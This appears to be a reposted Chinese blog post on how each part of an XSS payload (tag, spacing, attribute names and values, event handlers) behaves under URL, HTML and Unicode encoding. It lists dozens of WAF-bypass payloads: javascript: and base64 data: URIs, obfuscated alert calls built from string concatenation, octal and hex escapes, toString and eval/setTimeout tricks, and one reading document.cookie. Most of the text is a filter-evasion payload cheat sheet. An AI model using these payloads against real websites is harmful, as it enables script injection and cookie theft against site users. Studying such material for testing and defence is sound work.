XSS在payload中各位置的特性

Posted KeepPassion

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XSS在payload中各位置的特性相关的知识,希望对你有一定的参考价值。

0x00 XSS在payload中各位置的特性


标准payload1:

<img src=“1” onerror=“alert(1)”>起始符+标签名+空格+属性名=属性值+空格+属性名=属性值+终止符
1. < 标签起始符

符号<不能unicode编码,不能url编码,不能html编码。故若必须使用<构造payload,但<被编码输出(url编码/unicode编码/html编码),则无法绕过。waf不会阻止单独的<


2. 标签名

标签名不能unicode编码,不能url编码,不能html编码,且与起始符之间不能有任何字符。故若标签名被waf阻拦,则只能替换标签构造payload


3. 空格

谷歌浏览器:

<img/src/onerror=alert(1)><img/src=1 onerror=alert(1)><img/**/src/**/onerror=alert(1)><img/src=“”onerror=alert(1)><img/**/src=“”onerror=alert(1)>


4. 属性名

属性名不能url编码/html编码/unicode编码,on事件是属性名,也不能编码,故若WAF阻拦了所有的on事件,则不能使用on事件触发js代码


5. 属性值

普通属性名:对于输出位置在普通属性值的情况,首先使用引号闭合该属性(若有引号包裹),若引号被URL编码/html编码/unicode编码输出,则无法绕过


特殊属性名:src/href/action/xlink:href/content/background/poster/code/expression/fromaction

对于输出位置在特殊属性值的情况

1)可以使用javascript伪协议执行js代码

2)javascript伪协议可以unicode编码/html编码,其后的js代码可以url编码/unicode编码/html编码

3)可以使用data协议执行js代码

<a href=javascript:alert(1)>test</a><a href=data:text/html;base64,PHNjcmlwdD5hbGVydCgzKTwvc2NyaXB0Pg==> (fail)<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill=“white"/></a></svg><math><a xlink:href=javascript:alert(1)></math><form><button formaction=javascript&colon;alert(1)>M (html5)<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object><embed src=“data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed><isindex action=javascript:alert(1) type=image> (fail)<math href=“javascript:alert(1)">CLICKME</math> (fail)<table background=javascript:alert(1)></table> // 在Opera 10.5和IE6上有效<video poster=javascript:alert(1)//></video> // Opera 10.5以下有效<applet code="javascript:confirm(document.cookie);"> // Firefox有效<img style="xss:expression(alert(0))"> // IE7以下<div style="color:rgb(''&#0;x:expression(alert(1))"></div> // IE7以下<style>#test{x:expression(alert(/XSS/))}</style> // IE7以下


on事件:onclick/onerror/onwheel/onqut/onload

1)可以直接执行js代码,也可以使用javascript伪协议执行js代码

2)javascript伪协议可以unicode编码/html编码,其后的js代码可以unicode编码/html编码/js8编码/js16编码

3)函数的参数值是js的字符串,可以使用js的函数或拼接符做各种变换,例如eval(‘a’+’l’+’ert(1)’)

<details open ontoggle=top['al'%2B'ert'](1) ><details open ontoggle=self['al'%2B'ert'](1) ><details open ontoggle=parent['al'%2B'ert'](1) ><details open ontoggle=frames['al'%2B'ert'](1) ><details open ontoggle=content['al'%2B'ert'](1) ><details open ontoggle=window['al'%2B'ert'](1) >
JS8编码:<details open ontoggle=top['al\145rt'](1) ><details open ontoggle=top['\141\154\145\162\164'](1) >
JS16编码:<details open ontoggle=top['al\x65rt'](1) >
其他<details open ontoggle=top[/al/.source%2B/ert/.source](1) >
parseInt()与toString()<details open ontoggle=top[8680439..toString(30)](1); ><details open ontoggle=top[11189117..toString(32)](1); >
<img src=1 alt=al lang=ert onerror=top[alt%2blang](0)><details open ontoggle=top[a=‘al',b='ev',b%2ba]('alert(1)')><details open ontoggle=top[a='al',b='ev',b%2ba](atob('YWxlcnQoMSk='))><details open ontoggle=top[a='al',b='ev',b%2ba]('\141\154\145\162\164\50\61\51')><details open ontoggle=top[a='al',b='ev',b%2ba]('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')><details open ontoggle=top[a=‘meout',b='setTi',b%2ba]('\141\154\145\162\164\50\61\51')>

参考:https://xz.aliyun.com/t/6597?from=singlemessage


6. >标签终止符

符号>不能unicode编码,不能url编码,不能html编码。故若必须使用>构造payload,但>被编码输出(url编码/unicode编码/html编码),则无法绕过。waf不会阻止单独的>


以上是关于XSS在payload中各位置的特性的主要内容,如果未能解决你的问题,请参考以下文章

xss-payloads

XSS相关Payload及Bypass的备忘录(下)| 文末有打包好的Payload

XSS Payload List

ES6中的模板字符串和新XSS Payload

工具集-XSS Payload

触发xss payload的是哪一个人